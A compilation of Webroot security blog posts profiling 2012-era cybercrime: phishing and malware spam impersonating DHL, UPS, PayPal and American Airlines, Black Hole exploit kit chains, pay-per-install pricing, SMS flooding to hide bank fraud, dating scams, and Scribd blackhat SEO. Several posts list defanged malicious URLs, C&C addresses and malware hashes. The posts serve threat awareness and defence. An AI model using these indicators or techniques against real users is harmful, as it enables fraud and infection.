How is the service getting access to these compromised credentials in the first place? Next to social engineering attacks and brute-forcing, on a daily basis cybercriminals persistently data mine botnets for stolen email, social network, VPN, FTP and SSH accounting data in an attempt to further abuse it by launching additional attacks on the top of it.

What this service offers is an easy entry into the world of cybercrime for average cybercriminals looking for fresh platforms to further disseminate their social engineering campaigns attempting to trick users into interacting with their fraudulent scheme. Once a compromised accounts gets resold, the new owner will abuse the 'chain of trust' and attempt to serve malware and launch social engineering attacks such as, for instance, phishing knowing that users are more likely to trust a message or a Wall post from a trusted friend. That's their way of achieving a positive ROI (return on investment) on their initial purchase.

Webroot will continue monitoring the development of this service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Online dating scam campaign currently circulating in the wild - Webroot Blog

facebook linkedin twitter

Lonely birds, beware!

Russian online dating scammers are currently spamvertising a fraudulent campaign attempting to socially engineer users into interacting with a bogus online dating service.

What's so special about this scam? Just how vibrant is the Russian online dating fraud market segment? How can you avoid falling victim into their fraudulent schemes?

More details:

Screenshot of the spamvertised email:

Screenshot of a sample affiliate network driven landing page:

What we have here is a recent example of one of the most prolific online scams, namely, Russian dating scams. The scam orbits around on the notion that lonely Internet users will engage in emotional and financial transactions with complete strangers based on their profiles and associated photos promising love, marriage, or friendship.

Related posts:

Dating Spam Campaign Promotes Bogus Dating Agency Dating Spam Campaign Promotes Bogus Dating Agency – Part Two

The affiliate network driven fraudulent model shares revenue with network participants every time a new user registers at the site, buys a premium access to the dating network, or buys pseudo value-added items such as flowers or presents for any of the fake girls. What's particularly interesting about Russian dating networks, is that in order to boost their appeal to prospective users, they exclusively rely on fake and automatically created profiles of non-existent girls. Next to fake girls, customer support is usually involved in managing multiple ongoing communications between new users and the fake girls, all without the user's knowledge. Also, on the majority of occasions Russian dating networks offer value added services such as the ability to physically send a note and flowers to the address — private address not shared with network participants — of any of the fake girls. By doing this, they increase the conversion rates for an average network user, and attempt to earn more from his participation in the network. Are these flowers ever going to reach the address of the fake girls? Appreciate the irony here, by using a predefined set of images of successful arrival for a particular type of flowers, the affiliate networks aim to trick network users into thinking that their flowers have actually reached their destination. In reality though, they never do, with the dating scam network earning significant amounts of money in the process. We advise users to avoid interacting with these bogus dating networks relying exclusively on fake profiles, non-existent value added services, and remind them that the monetization of emotions over the Internet could lead to one's bankruptcy. Especially when they are fake girls involved. *You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised American Airlines themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

American Airlines customers, watch where you click! Cybercriminals are currently spamvertising millions of emails impersonating the company in an attempt to trick end and corporate users into clicking on the malicious links found in the spamvertised email.

Upon execution, the campaign redirects users to a Black Hole exploit kit landing URL, where client-side exploits are served against outdated third-party software and browser plugins.

More details:

Screenshots of a sample spamvertised email:

Once users click on any of the links in the spamvertised email, they are exposed to the following fake "Page loading…" page:

Spamvertised URLs: *hxxp://luxify.net/wp-admin/aair.html* redirects to -> *hxxp://princess-sales.net/main.php?page=7e45713861176c6b* (203.237.211.223) or *hxxp://ghanarpower.net/main.php?page=8c6c59becaa0da07* (203.237.211.223)

Upon successful client-side exploitation of **CVE-2010-1885** , the Black Hole exploit kit drops the following MD5 on infected hosts: **MD5: c70d309171d9844f331081b3c3d80ff**

Detection rate: Detected by 25 out of 42 antivirus scanners as Trojan.Generic.KDV.664936; Worm:Win32/Cridex.E

Upon execution, the sample phones back to **210.56.23.100:8080/za/v_01_b/in/**

Responding to 210.56.23.100, AS7590, COMSATS Commission on Science and Technology for Sustainable

Development in the South, are the following command and control servers:

cpojkjfhotzpod.ru
upjachkajasamns.ru
cruoinaikklaoifpa.ru
sumgankorobanns.ru
fedikankamolns.ru
ciontooabgooppoa.ru
caskjfhlkaspsfg.ru
csoaspfdpojuasfn.ru
amanarenapussyns.ru
cparabnormapoopdsf.ru
cjhsdvbfbczuet.ru
caoodntkioaojdf.ru
clkjshdflhhshdf.ru
zolindarkksokns.ru
cnnvcnsaoljfrut.ru
cruikdfoknaofa.ru
cjiahkhklflals.ru
dinamitbtzusons.ru
cjjasjjikooppfkja.ru
ckjsfhlasla.ru
kroshkidlahlebans.ru
ckjhasbybnhdjf.ru
xspisokdomenidgmens.ru
dkijhsdkjfhsdf.ru
dhjikjsdhfkksjud.ru
dsakhfgkallsjfd.ru
dphsgdfisgdfsdf.ru
dkjhfkjsjadsjjfj.ru
debiudlasduisioa.ru
dpasssjiufjkaksss.ru
doorpsjjaklskfjak.ru
dnvfodooshdkfhha.ru
xstriokeneboleeodgons.ru
dpaoisosfdhaopasasd.ru
rushsjhdhfjsldif.su

dkjhasjllasllalaa.ru
puidhfhhaoadans.su
somaniksuper.ru
superproomgh.ru
samsonikonyou.ru
phfhshdjsjdppns.su
dhjhgfkjsldkjdj.ru
poosdfhhsppsdns.su
insomniacporeed.ru

The name servers infrastructure of these domains is parked at the following IPs 94.63.147.96; 171.25.190.249; 188.116.32.177

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

What's the underground market's going rate for a thousand U.S based malware infected hosts? - Webroot Blog

facebook linkedin twitter

Imagine you're a cybercriminal that has somehow managed to infect a 1000 U.S based hosts and is looking for ways to monetize his malicious activity? He could easily start spreading spam or phishing emails , use the infected hosts as a platform for disseminating related malware attacks, or basically data mine the infected hosts for accounting data to be later on sold to fellow cybercriminals.

What if all he wanted to do is earn as much profit in the shortest possible amount of time without investing more efforts into the monetization of the infected hosts? Is the cybercrime ecosystem mature enough to offer him an alternative? Appreciate the rhetoric. The maturing cybercrime ecosystem is fully capable of offering him a high liquidity monetization approach for earning revenue by infecting hosts and spreading a specific undetectable executable pushed by the pay-per-install affiliate network that I'll profile in this post.

More details:

The **Pay-Per-Install affiliate network model** , has been steadily gaining popularity over the past few years. With a dozen of affiliate networks willing to share revenue for the process of infecting hosts with an executable provided by them, cybercriminals have been taking advantage of this well developed monetization strategy for years.

Over the past few months, I've been noticing an increase in the advertising of a particular Pay-Per-Install affiliate network, on selected cybercrime-friendly online communities. The network, is exclusively targeting Internet users located in developed countries with cybercriminals taking into consideration their high purchasing power. What's so special about this affiliate network? What's the underground market's going rate for a 1000 U.S based malware-infected hosts? Let's find out.

Screenshoot of a sample advertisement of the Pay-Per-Install affiliate network:

Second screenshot of a sample advertisement of the Pay-Per-Install affiliate network:

Screenshot of the main registration — invite only — site of the Pay-Per-Install affiliate network:

What's particularly interesting about this affiliate network is that it's invite only, namely only selected members of the cybercrime ecosystem will get access to the administration panel, and consequently to the latest version of the malicious executable that they have to spread in order to earn revenue from the service.

The prices? A 1,000 U.S based malware-infected hosts go for $100, AU, GB, CA and DE go for $75 and EU based malware-infected users go for $50. What's also worth pointing out is that the administrator of the affiliate network is soliciting additional revenues from this project by offering advertising space for related cybercrime-friendly projects on the front page of the affiliate network.

Webroot will continue monitoring the development of the pay-per-install affiliate network.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Phishing campaign targeting Gmail, Yahoo, AOL and Hotmail spotted in the wild - Webroot Blog

facebook linkedin twitter

Cybercriminals are masters of multi-tasking. For instance, whenever a web server gets compromised, they will not only use its clean IP reputation to host phishing, spam and malware samples on it, they will also sell access to the shell allowing other cybercriminals the opportunity to engage in related malicious activities such as, mass scanning of remotely exploitable web application vulnerabilities.

Today, I intercepted a currently active phishing campaign that's a good example of a popular tactic used by cybercriminal known as 'campaign optimization'. The reason this campaign is well optimized it due to the fact that as it simultaneously targets Gmail, Yahoo, AOL and Windows Hotmail email users.

More details:

Sample screenshot of the spamvertised phishing email:

Spamvertised URL hosted on a compromised Web server: *tanitechnology.com/fb/includes/examples/properties/index.htm* **–** the URL is currently not detected by any of the 28 phishing URL scanning services used by the VirusTotal service.

Sample screenshot of the landing phishing page affecting multiple free email service providers:

What makes an impression is the poor level of English applied to the campaign's marketing creative. Moreover, it's rather awkward to see that the landing phishing page is themed using the **Online Real Estate brand Remax** , a brand that has nothing to do with the enforcement of a particular marketing message related to the phishing campaign.

Users are advised to avoid interacting with similar pages, and to always ensure that they're on the right login page before entering their accounting data.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

117,000 unique U.S visitors offered for malware conversion - Webroot Blog

facebook linkedin twitter

In 2012 it’s becoming increasingly common for cybercriminals to apply basic **quality assurance (QA)** tactics to their campaigns. Next to **QA** , they also emphasize on campaign optimization strategies allowing them to harness the full potential of the malicious campaign.

Recently, I came across to an underground forum advertisement selling access to 117,000 unique U.S visitors — stats gathered over a period of 8 hours — for the purpose of redirecting them to a Black Hole web malware exploitation kit landing URL. The traffic aggregation taking place through black hat SEO (search engine optimization), is aiming to exploit a group of users known to have high purchasing power, namely, American citizens.

Are such underground market propositions offering traffic exchange deals gaining popularity, or are they just a fad? What’s the infection rate for 117,000 U.S based users redirected to a BlackHole exploits serving landing URL? Let’s find out.

More details:

Screenshot of a sample statistics from a Black Hole exploit kit during a period of 8 hours:

The seller of the traffic has included a screenshot showing a 14% exploitation rate based on the 404,183 hits and 117,583 unique U.S visits. That’s primarily users with outdated third-party applications and browser plugins who are getting exploited by visiting blackhat SEO friendly content farms operated by the cybercriminals behind this underground market proposition.

For years, cybercriminals have been abusing legitimate traffic exchange marketplaces, next to coming up with their own underground alternatives where aggregated traffic is systematically exposed to client-side exploits and Internet scams. By using spam campaigns, malvertising and black hat SEO (search engine optimization) they’re capable of building traffic inventories consisting of millions of unique visitors.

Over time, I’ve observed a trend where the traffic aggregators are applying basic market segmentation techniques in an attempt to better tailor their market propositions to prospective buyers. For instance, in the past a cybercriminal will basically emphasize on volume, he’d be interested in buying as much traffic as possible. That trend is long gone.

A shift in quantity to quality

In 2012, cybercriminals are looking to purchase traffic exclusively coming from a particular developed country with the idea to abuse the Internet connectivity of an Internet user known to have a high purchasing power. The most expensive traffic for the time being is for US and UK Internet visitors, followed by Australia, Germany and France based on the market propositions of several traffic aggregators.

We predict that over time, thanks to public and commercially available geolocation services, cybercriminals will start pitching traffic for a particular city, and shift away from offering traffic for a particular country only. This QA (quality assurance) tactic will most likely be abused by cybercriminals looking to buy inventories of unique users in a particular city in an attempt to better organize and manage a money mule recruitment network in a particular region.

In order to prevent exploitation by the Black Hole exploit kit, we advise end and corporate users ensure that they’re not running **outdated third-party software** and **browser plugins** , as the Black Hole exploit kit is currently exploiting outdated and already patched client-side vulnerabilities only.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals launch managed SMS flooding services - Webroot Blog

facebook linkedin twitter

Mobile devices are an inseparable part of the modern cybercrime ecosystem. From **ATM skimmers with SMS notification** next to **fake antivirus scanners for Android users** , the **growth of the mobile malware segment** is pretty evident.

In this post I'll profile a recently spamvertised managed SMS flooding service, in the context of E-banking fraud, and just how exactly are cybercriminals using the service as a way to evade detection of their fraudulent transactions.

More details:

Screenshot of the SMS flooding advertisement:

The ad offers SMS flooding service covering all countries. The prices? 500 SMSs cost 40 rubles ($1.21), 1000 SMSs cost 80 rubles ($2.43), and 10,000 SMSs cost 700 rubles ($21.29). The service offers a test with 50 SMSs, and reserves the right to offer services to users requesting more than 10,000 SMSs.

Although **modern crimeware successfully undermines the effectiveness of two-factor authentication** and **SMS authorization** , next to crimeware variants modifying the actual balance of the affected victim, certain financial institutions offer SMS alerts to customers who inquire about the service. What exactly does the service do? Basically it sends a SMS to the owner of the bank account every time money comes in and goes out of this account depending on the user's preferences. In this way, if a customer becomes a victim of financial crime, they can immediately alert their bank for the fraudulent transactions.

Naturally, cybercriminals quickly adapted to the new service. From professional social engineering attempts aiming to trick a financial institution into changing the default mobile number of the account owner to a mobile number located within the same country, but operated by the cybercriminal — renting mobile phone numbers for committing cybercrime is available as a service — to launching a DoS (Denial of Service) attack against the mobile device of the account owner in an attempt to prevent him from successfully reading the SMS notification alerting him of the fraudulent transaction, cybercriminals can be pretty creative when it comes to bypassing this value-added feature.

This is exactly what the SMS flooding service is all about. Next to launching random SMS flooding attacks at a particular number in an attempt to disrupt a competing firm's mobile communications with its potential clients just like **DDoS attacks** do, the service also has the capability to assist in a situation where a cybercriminal is about to transfer money out of the compromised account, but wants to prevent its owner from receiving a SMS notification of the fraudulent transaction. By sending thousands of SMS messages in the exact same time when the fraudulent transaction will trigger a SMS notification, the cybercriminal increases the average time for a successful detection of the account's compromise, since its owner would miss the SMS notification sent from the bank in between sorting out the thousands of SMS messages received.

We predict that just like **MMS, Bluetooth and SMS spamming services** , SMS flooding service will gain even more popularity in the long term as a way to assist a cybercriminal on his way to hide a fraudulent transaction.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised bogus online casino themed emails serving W32/Casonline - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising hundreds of thousands of emails enticing end and corporate users into clicking on links leading to bogus online casinos requiring the installation of an executable file.

This is **the second bogus casino themed campaign** I've intercepted in recent months, and the third time when I profile the **distribution and infection vectors of W32/Casonline** .

More details:

Screenshot of a spamvertised bogus online casino site:

Second screenshot of a spamvertised bogus online casino site:

Third screenshot of a spamvertised bogus online casino site:

Just like in the previously profiled spamvertised campaign, the cybercriminals behind this campaign are monetizing the traffic by participating in a revenue sharing affiliate network called StarPartner. The affiliate network offers:

Commission of up to 80% per month
Detailed and transparent reporting
Remain committed to offering the best banner and content design
Allowing up to 10 web sites per affiliate – with up to 1,000 unique tracking codes per casino, for each web site
No negative monthly carry-overs
Dedicated, multi-lingual Affiliate support

Screenshots of the affiliate network's web site:

Second screenshot of the affiliate network's web site:

Go through related posts on previously spamvertised W32/Casonline campaigns:

Don’t Play Poker on an Infected Table Don’t Play Poker on an Infected Table – Part Two Don’t Play Poker on an Infected Table – Part Three Don’t Play Poker on an Infected Table – Part Four Don’t Play Poker on an Infected Table – Part Five

Spamvertised URLs : *hxxp://www.allslotscasino.com* ; *hxxp://www.crazyvegas.com* ; *hxxp://www.ceudicestar.net*

Sample detection rate for the advertised executables:

AllSlots.exe – detected by 7 out of 41 antivirus scanners as GAME/Casino.Gen; W32/Casino.P.gen!Eldorado

MD5: 76585c23167e0dcf49d55dede37ab999

CrazyVegas.exe – detected by 8 out of 41 antivirus scanners as GAME/Casino.Gen; TROJ_GEN.R3EH1FF

MD5: 72fc925d80f31501130bb1642f6a8f68

SilverOakCasinoInstaller.exe – detected by 3 out of 41 antivirus scanners as GAME/Casino.Gen2; Win32/RealTimeGaming_i

MD5: 0084f53acd115c3c7b7917f34f1b3ddc

Webroot SecureAnywhere users are proactively protected from these ‘potentially unwanted applications’.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'DHL Express Parcel Tracking Notification' emails serving malware - Webroot Blog

facebook linkedin twitter

Remember the "**Spamvertised 'DHL Package delivery report' emails serving malware** " campaign profiled earlier this month?

It seems that another cybercrime gang has started impersonating DHL in an attempt to serve malware to the millions of spamvertised end and corporate users.

More details:

Screenshot of the currently spamvertised email:

Just like the previous campaign impersonating DHL, this one is also relying on attached .zip file containing the actual malware.

DHL-Details.exe – **MD5: 89bec26d1f7d711eda39437612568319** detected by 33 out of 42 antivirus scanners as Trojan-Spy.Win32.Zbot.dzrx; Trojan.Zbot

Upon execution the sample creates the following files on the infected host:

%AppData%Ceydalysluiv.tmp – **MD5: D6965F59B8D78DC0B8CB747F0F2878E3**
%AppData%Ceydalysluiv.zia – **MD5: 9F17BD86F8A772DC0B6A3CF0CCDCE2FC**
%AppData%Obbiosetamys.exe – **MD5: 66F2DD0D1366A95EBD120558AC3F5585**
%Temp%tmpefdf2dea.bat – **MD5: 489504C649766ECC691C4EEB3F86910C**

It also phones back to the following URL located in Russia – **178.208.81.242/heinz/varieties/opt.php** – AS35415, MCHOST-NET, Russian Federation

Webroot Secure Anywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Confirm PayPal account" notifications lead to phishing sites - Webroot Blog

facebook linkedin twitter

PayPay users, beware! Phishers have just started spamvertising hundreds of thousands of legitimately-looking PayPal themed emails, in an attempt to trick users into entering their accounting data on the fraudulent web site linked in the emails.

More details:

Screenshot of the spamvertised PayPal themed campaign:

Sample spamvertised URL: *hxxp://lejesepofol.altervista.org/plaoyap/plaoyap/index.htm*

Sample spamvertised text: *Dear PayPal Costumer, It has come to our attention that your PayPal® account information needs to be updated as part of our continuing commitment to protect your account and to reduce the instance of fraud on our website. If you could please take 5-10 minutes out of your online experience and update your personal records you will not run into any future problems with the online service. However, failure to update your records will result in account suspension. Please update your records before June 12, 2012. Once you have updated your account records, your PayPal® account activity will not be interrupted and will continue as normal.*

Upon clicking on the link found in the phishing emails, users are presented with the following legitimately-looking PayPal login page:

Users are advised to avoid interacting with the emails, and to report them as fraudulent/malicious as soon as they receive them.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating United Parcel Service (UPS) in an attempt to trick end and corporate users into clicking on exploits and malware serving links found in the malicious emails. What exploits are they using? How widespread is the campaign? Is it an isolated incident, or is the campaign linked to more malicious activity?

More details:

Screenshots of the spamvertised campaign:

Upon clicking on the link, users are exposed to the following bogus page displaying additional information about the package:

Sample spamvertised malicious URLs: *hxxp://andreascookies.com/deliv.html* ; *hxxp://selcoelectrical.co.uk/deliv.html* ; *hxxp://nepa.com.np/deliv.html* ; *hxxp://it-agency-job-opportunities.com//track.html* ; *hxxp://agarcia.tv/wp-content/uploads/fgallery/track.html* ; *hxxp://samsung40lcdtvlnt4061f.uwcblog.com/spss.html*

Detection rate for the client-side exploit serving page: devil.html – **MD5: f9a47465f88bb76d1987fba6ffc72db7** – detected by 2 out of 42 antivirus scanners as JS/Obfuscus.AACB!tr; HEUR:Trojan.Script.Generic

Client-side exploitation chain: *hxxp://savecoralz.net/main.php?page=2a709dab1e660eaf* -> *hxxp://savecoralz.net/Set.jar*

Second client-side exploitation chain seen in the same campaign: *hxxp://abilenepaint.net/main.php?page=c3c45bf60719e629* -> *hxxp://abilenepaint.net/Half.jar*

Upon clicking on the link, the campaign is serving client-side exploits using the Black Hole web malware exploitation kit, and in this particular campaign it’s attempting to exploit **CVE-2010-1885** and **CVE-2012-0507** .

Once the client-side exploitation takes place, the campaign drops **MD5: 202d24597758dc5f190bf63527712af0** – detected by 2 out of 42 antivirus scanners as Trojan/Win32.Hrup; Suspicious.Cloud.5

Info on the client-side exploit serving domain: savecoralz.net – 109.164.221.176; 46.162.27.165; name servers: NS1.GRAPECOMPUTERS.NET; NS2.GRAPECOMPUTERS.NET – Email: clinicadelta@aol.com

The following malware-serving domains are also using the same name servers: synergyledlighting.net
stafffire.net
thai4me.com
energirans.net
hapturing.net
housespect.net
synetworks.net
110hobart.com
perikanzas.com
abc-spain.net
migdaliasbistro.net
themeparkoupons.net
icemed.net
sony-zeus.net
mynourigen.net
georgekinsman.net
ekotastic.net
torsax.net
popzulu.net
arizonacentennialmens.com

Info on the second client-side exploits serving domain observed in the campaign: abilenepaint.net – 79.142.67.135 (known to have also responding to 109.169.86.139 (stafffire.net) –

Email: ezvalu@live.com Name servers: ns1.asiazmile.net, ns2.asiazmile.net

More domains known to be using the same name servers as abilenepaint.net stafffire.net
alamedapaint.net
asiazmile.net

Client-side exploitation chain: *hxxp://abilenepaint.net/main.php?page=c3c45bf60719e629* -> *hxxp://abilenepaint.net/Half.jar*

Upon successful client-side exploitation the second malicious URL drops **MD5: 5e187c293a563968dd026fae02194cfa** , detected by 3 out of 42 antivirus scanners as PAK_Generic.001. Upon execution it creates the following file:

%AppData%KB00121600.exe – **MD5: 5E187C293A563968DD026FAE02194CFA** – detected by 3 out of 42 antivirus scanners as PAK_Generic.001

Upon execution, the sample phones back to **123.49.61.59/zb/v_01_b/in** on port 8080. Another sample is known to have phoned back to the same URL, namely, **MD5: 108F10F0921F2B4FCA87FE6E620D21EF** which phones back to:

hxxp://123.49.61.59:8080/zb/v_01_a/in/
hxxp://91.121.103.143:8080/zb/v_01_a/.upd/u2006a.exe

u2006a.exe has a MD5 of **MD5: c5fcee018e9b80a2574d98189684ba2a ,** and is detected by 4 out of 42 antivirus scanners as Worm.Win32.AutoRun.dtaf.

This is **the second UPS themed campaign** that we've intercepted during June, 2012. In the first campaign, the cybercriminals used malicious .html attachments compared to directly linking to exploits and malware serving sites like we've seen in the latest campaign.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Create a Cartoon of You" ads serving MyWebSearch toolbar - Webroot Blog

facebook linkedin twitter

On their way to attract new users, adware providers and online marketers often come up with new and creative ideas tailored to average Internet users. These often include free screensavers, browser plugins, toolbars, and that's just for starters.

In this post, we'll profile the market proposition of one of these online advertisers, previously known as a vendor of adware toolbars, and discuss what has changed over the years.

More details:

Following my research into **adware serving pop-ups at popular Eastern European torrent trackers** , what I also came across to while researching them, was heavy advertisement on behalf of MyWebSearch part of the **Mindspark Interactive Network Inc.** in the form of a toolbar allowing you to create a cartoon of your photo.

Screenshot of a sample 'Create a Cartoon of You' page:

Initially, when I saw that **Starnet Interactive Inc.** is part of Mindspark Interactive Network Inc, I immediately become suspicious as in the past they were well known for **distributing adware toolbars to their users** . What has changed? Is the latest version of their toolbar still classified as adware? What happens once you install the toolbar? Let's find out.

The toolbar installer is currently detected by 10 out of 41 antivirus scanners as AdInstaller.FunWeb; Win32:FunWeb-J [PUP]; Riskware/MyWebSearch; not-a- virus:WebToolbar.Win32.MyWebSearch.rh, and has the following **MD5: 7158f4783884851d0a27132c64acfc57**

Clearly, a decent percentage of antivirus vendors are still detecting the latest version of the toolbar as a 'potentially unwanted program' in an attempt to protect end and corporate users from themselves. How is Mindspark Interactive Network Inc. monetizing the traffic?

Based on the toolbar's description they do so by "*providing sponsored listings in the same fashion as Google and Yahoo. We also display advertising on select Web pages. This business model lets us create fun, easy-to-use products with wide-ranging content for you to enjoy on an ongoing basis.* " As you can see, although the company is no longer serving pop ups to users, it still reserves the right to display advertising on select Web pages, next to collecting all the search queries that you enter in their search engine.

For the sake of your privacy, and integrity of your PC, we recommend that you do not install the cartoon making toolbar, instead consider using **a free online photo editing service** that can apply the same filters to your photos.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Your Paypal Ebay.com payment' emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Remember the **‘Your Amazon.com order confirmation’ client-side exploits and malware serving** campaign which I profiled earlier this week?

It appears that the gang behind it is back with another campaign, this time impersonating PayPal. For the time being, another round consisting of millions of malicious emails is circulating in the wild, enticing end and corporate users into clicking on malicious links found in the emails.

More details:

Screenshots of the spamvertised emails:

Upon clicking on the link, users are exposed to the following page:

In the background, the malicious script loads and performs several redirections until exposing the user to the malicious payload.

Sample compromised URIs participating in the campaingn: *hxxp://communityrootsfood.org/wp-content/themes/aesthete/post.html* ; *hxxp://kopma.stikom.edu/wp-content/themes/kopmaNewWordpress1000px/post.html*

both of these URIs redirect to *hxxp://kidwingz.net/main.php?page=614411383eef8d97* . Surprise, surprise, we’ve already seen this malicious URL in the **‘Your Amazon.com order confirmation’ client-side exploits and malware serving** campaign profiled earlier this week.

Upon successful client-side exploitation, the campaign drops the following MD5, **MD5: 49f91a1597bc4dd25d3d23302125dae7** – detected by 8 out of 42 antivirus scanners as PWS-Zbot.gen.xs; W32/Injector.AQSI

Upon execution, the sample creates a new file on the system – %AppData%KB00121600.exe – **MD5: 49F91A1597BC4DD25D3D23302125DAE7** **–** detected by 27 out of 42 antivirus scanners as Trojan-Dropper.Win32.Dapato.bigc

It also phones back to the same C&C server used in the '**Your Amazon.com order confirmation' campaign** , namely, *hxxp://85.214.204.32:8080/zb/v_01_b/in/*

Webroot SecureAnywhere users are proactively protected from this threat. We predict that we're going to see more brands systematically impersonated by the same gang, in an attempt to serve malware through exploitation of client-side vulnerabilities.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals populate Scribd with bogus adult content, spread malware using Comodo Backup - Webroot Blog

facebook linkedin twitter

On their way to convert legitimate traffic into malware-infected hosts using web malware exploitation kits, cybercriminals have been actively experimenting with multiple traffic acquisition techniques over the past couple of years. From malvertising (the process of displaying malicious ads), to compromised high-trafficked web sites, to blackhat SEO (search engine optimization), the tools in their arsenal have been systematically maturing to become today's sophisticated traffic acquisition platforms delivering millions of unique visits from across the world, to the cybercriminals behind the campaigns.

What are some of the latest campaigns currently circulating in the wild? How are cybercriminals monetizing the hijacked traffic? Are they basically redirecting to the landing page of an affiliate network, earning revenue in the process, or are they serving malicious software to unsuspecting and gullible end and corporate users?

Let's find out by profiling a currently active blackhat SEO (search engine optimization) campaign at the **popular document sharing web site Scribd** , currently using double monetization of the anticipated traffic, namely, redirecting users to a dating affiliate network, and serving malware in between.

More details:

Here's how the campaign works in a nutshell – basically the cybercriminals behind it have registered multiple bogus accounts at Scribd and are using them to populate the site's search index — including Google's index — with adult themed search queries. Once they attempts to view the document, they'll be exposed to a bogus video screen that's basically an image with an embedded link pointing to a dating affiliate network, and to a malware currently hosted at Comodo Backup's infrastructure.

Screenshot of the bogus video screen displayed when viewing a sample document used in the campaign:

Screenshot of sample blackhat SEO friendly bogus content created by the cybercriminals hijacking legitimate traffic:

Let's profile the dating affiliate network vector. Some of the generated videos basically redirect to the dating network Find and Try. Sample redirection chain and involved URIs:

hxxp://www.scribd.com/doc/88566709/hentai-anime-naruto-videos -> hxxp://blogultram.com/scribd/hentai+anime+naruto+videos – 95.168.173.251; Email: nickbzzzz@gmail.com -> hxxp://searchallforfree.com/1/feed/index.php?q=hentai+anime+naruto+videos&saff=gfeed12 – 95.168.173.251; Email: nickbzzzz@gmail.com -> hxxp://findandtry.com/?aff=94604856-tsp.new

The URIs also include the affiliate network IDs of the cybercriminals. For instance **aff=gfeed12** earning revenue for the hijacked traffic once, and **aff=94604856** earning revenue based on redirected traffic of actual transaction of newly registered members at the Find and Try dating network.

Screenshot of the dating network Find and Try:

How are the cybercriminals making money through the affiliate network? According to the network's rules, new participants can earn up to $100 for every 1000 visitors that they send, 75% on initial member fees, plus 50% on all recurring fees.

Screenshot of the affiliate network's monetization offerings:

The following domains have also been registered with the same email used to register **blogultram.com** and **searchallforfree.com**

blogcialis.com – Email: nickbzzzz@gmail.com
freesearcch.com – Email: nickbzzzz@gmail.com
beeey.com – Email: nickbzzzz@gmail.com
videofree565.com – Email: nickbzzzz@gmail.com

fortraf.com – Email: nickbzzzz@gmail.com
blogfioricet.com – Email: nickbzzzz@gmail.com

